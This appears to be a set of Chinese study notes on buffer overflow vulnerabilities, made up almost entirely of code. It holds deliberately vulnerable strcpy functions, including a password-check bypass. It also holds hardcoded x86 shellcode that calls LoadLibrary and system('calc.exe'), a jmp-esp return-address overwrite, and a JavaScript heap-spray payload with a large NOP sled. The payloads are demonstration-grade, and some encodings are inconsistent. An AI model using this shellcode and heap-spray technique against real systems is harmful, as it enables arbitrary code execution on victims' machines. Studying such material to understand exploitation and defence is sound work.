缓冲区溢出漏洞

void msg_display(char * buf)
{
    char msg[200];
    strcpy(msg,buf);
      cout<<msg<<endl;
}

;调用函数
push buf
call msg_display
;函数调用完成后平衡堆栈
add esp, 4
;函数中的汇编代码
;保留原始的ebp,在release版中没有ebp
push ebp
mov eb, esp
;这个具体是多少我也 不太清楚，VC上默认给48h再加上函数中所有局部变量的大小计算得到的是110h
sub esp 110h
;....其他操作
;返回
mov esp,ebp
pop ebp
ret

unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50" 
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" 
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0";

void func1(char* s)
{
    char buf[10];
    strcpy(buf, s);
}
void func2(void)
{
    printf("Hacked by me.\n");
    exit(0);
}
int main(int argc, char* argv[])
{
    char badCode[] = "aaaabbbb2222cccc4444ffff";
    DWORD* pEIP = (DWORD*)&badCode[16];
    //*pEIP = (DWORD)func2;
    *pEIP = (DWORD)shellcode;
    func1(badCode);
    return 0;
}

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[44];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
int main()
{
    int valid_flag=0;
    char password[1024];
    HANDLE hFile = NULL;
    DWORD dwReadLength = 0;
    LoadLibrary("user32.dll");//prepare for messagebox
    hFile = CreateFile("password.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (NULL == hFile)
    {
        printf("open file error!\n");
        return 0;
    }

    ReadFile(hFile, password, 1024, &dwReadLength, NULL);
    if (0 == dwReadLength)
    {
        printf("read error!\n");
        return 0;
    }
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    CloseHandle(hFile);
    return 0;
}

void msg_display(char * buf)
{
    char msg[200];
    strcpy(msg,buf);// overflow here, copy 0x200 to 200
    cout<<"********************"<<endl;
    cout<<"received:"<<endl;
    cout<<msg<<endl;
}

unsigned char buff[0x200] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaa"//200个a
"\x53\x93\xd2\x77"//jmp esp
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"  //loadlibrary地址
"\x52\x8D\x45\xF4\x50" 
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" 
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
"\xFF\xD0"
"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
"\xff\xd0"//ExitProcess(0);
;

<script language="javascript">
var codeTemp = "%u558B%uEC33%uC050%u5050%uC645%uF44D%uC645%uF553"
+"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
+"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
+"\x7b\x1d\x80\x7c"  //loadlibrary地址
+"\x52\x8D\x45\xF4\x50" 
+"\xFF\x55\xF0"
+"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" 
+"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
+"\x50\xB8"
+"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
+"\xFF\xD0"
+"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
+"\xff\xd0"//ExitProcess(0);

var codeTemp22 = "%u8B55%u33EC%u50C0%u5050%u45C6%u4DF4%u45C6%u53F5"
//+"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
  +"\u45C6\u56F6\u45C6\u43F7\u45C6\u52F8\u45C6\u54F9\u45C6\u2eFA\u45C6"
+"\u44FB\u45C6\u4CFC\u45C6\u4CFD\uBA90"

//s+"\uC644\uFC45\uC64C\uFD45\uBA4C"
+"\u1d7b\u7c80"  //loadlibrary地址
+"\u8D52\uF445\uFF50" 
+"\uF055"
+"\u8B55\u83EC\u2CEC\u63B8\u6c61\u8963\uF445\u2eB8\u7865\u8965" 
+"\uF845\u20B8\u2020\u8922\uFC45\uD233\u5588\u8DFF\uF445" 
+"\uB850"
+"\u93c7\u77bf" //sytem函数地址 system("calc.eue");
+"\uD0FF"
+"\ub853\ucafa\u7c81"//EuitProcess Address
+"\ud0ff"//EuitProcess(0);

var shellcode=unescape(codeTemp22) ;
var nop=unescape("%u9090%u9090");
while (nop.length<= 0x100000/2)
{
    nop+=nop;
}

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Array();//fill 200MB heap memory with our block
for (var i=0; i<200; i++)
{
    slide[i] = nop + shellcode;
}

</script>

char *szOverflowBuff[] = "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x0c\x0c\x0c\x0c";

void test_overflow()
{
    char szBuf[28];
    strcpy(szBuf, szOverflowBuff);
}